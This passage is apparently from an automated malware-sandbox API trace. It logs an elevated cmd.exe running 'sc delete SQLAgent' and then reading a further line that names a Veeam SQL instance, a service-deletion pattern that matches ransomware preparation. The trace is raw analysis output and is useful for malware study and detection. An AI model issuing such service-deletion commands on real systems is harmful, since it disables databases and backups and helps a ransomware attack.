_String2="APPDATA", _MaxCount=0x7) returned 2 [0065.616] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.616] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.616] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.616] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0065.616] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0065.616] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0065.616] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0065.616] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0065.616] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0065.616] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.617] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.617] GetProcessHeap () returned 0x1b0000 [0065.617] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0065.617] GetProcessHeap () returned 0x1b0000 [0065.617] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0065.618] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLAgent", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLAgent", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete SQLAgent", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x1c4, dwThreadId=0x5f4)) returned 1 [0065.621] CloseHandle (hObject=0x54) returned 1 [0065.621] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0065.621] GetProcessHeap () returned 0x1b0000 [0065.621] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.622] GetEnvironmentStringsW () returned 0x1cba10* [0065.622] GetProcessHeap () returned 0x1b0000 [0065.622] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0065.622] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0065.622] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0065.622] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0065.622] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0065.665] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0065.665] CloseHandle (hObject=0x50) returned 1 [0065.665] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0065.665] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0065.665] GetProcessHeap () returned 0x1b0000 [0065.665] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0065.665] GetEnvironmentStringsW () returned 0x1d1b10* [0065.665] GetProcessHeap () returned 0x1b0000 [0065.665] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0065.665] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.665] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0065.665] GetProcessHeap () returned 0x1b0000 [0065.665] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.665] GetEnvironmentStringsW () returned 0x1cba10* [0065.665] GetProcessHeap () returned 0x1b0000 [0065.665] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0065.665] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0065.665] GetProcessHeap () returned 0x1b0000 [0065.665] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0065.665] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0065.665] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0065.666] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.666] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0065.666] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.666] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0065.666] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.666] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0065.666] GetConsoleOutputCP () returned 0x1b5 [0065.666] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.666] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.667] GetProcessHeap () returned 0x1b0000 [0065.667] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0065.667] GetProcessHeap () returned 0x1b0000 [0065.667] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0065.667] GetProcessHeap () returned 0x1b0000 [0065.667] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0065.667] GetProcessHeap () returned 0x1b0000 [0065.667] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0065.667] GetProcessHeap () returned 0x1b0000 [0065.667] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0065.667] GetProcessHeap () returned 0x1b0000 [0065.667] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0065.667] GetProcessHeap () returned 0x1b0000 [0065.667] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0065.667] GetProcessHeap () returned 0x1b0000 [0065.667] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0065.667] GetProcessHeap () returned 0x1b0000 [0065.667] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0065.667] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0065.667] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.667] GetFileType (hFile=0x120) returned 0x3 [0065.667] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.667] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0065.667] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0065.667] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0065.667] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.667] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0065.668] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0065.668] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.668] GetFileType (hFile=0x120) returned 0x3 [0065.668] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0065.668] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0065.668] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.668] GetFileType (hFile=0xb8) returned 0x3 [0065.668] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.668] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.668] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0065.668] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.668] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.668] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0065.668] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.668] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.668] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0065.669] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.669] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.669] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0065.669] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.669] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.669] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0065.669] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.669] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.669] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0065.669] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.669] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.669] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0065.669] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.669] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.669] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0065.670] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.670] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.670] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0065.670] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.670] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.670] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0065.670] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.670] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.670] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="MQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0065.670] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.670] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.670] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="SLAgent\n$VEEAMSQL2012\"\n") returned 1 [0065.670] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.670] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.670] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="SAgent\n$VEEAMSQL2012\"\n") returned 1 [0065.670] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.670] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.670] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="Qgent\n$VEEAMSQL2012\"\n") returned 1 [0065.670] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.670] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.671] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="Lent\n$VEEAMSQL2012\"\n") returned 1 [0065.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.671] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="Snt\n$VEEAMSQL2012\"\n") returned 1 [0065.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.671] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="et\n$VEEAMSQL2012\"\n") returned 1 [0065.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.671] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="r\n$VEEAMSQL2012\"\n") returned 1 [0065.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.671] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="v$VEEAMSQL2012\"\n") returned 1 [0065.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.671] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="eVEEAMSQL2012\"\n") returned 1 [0065.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.671] ReadFile (in: hFile=0xb8, 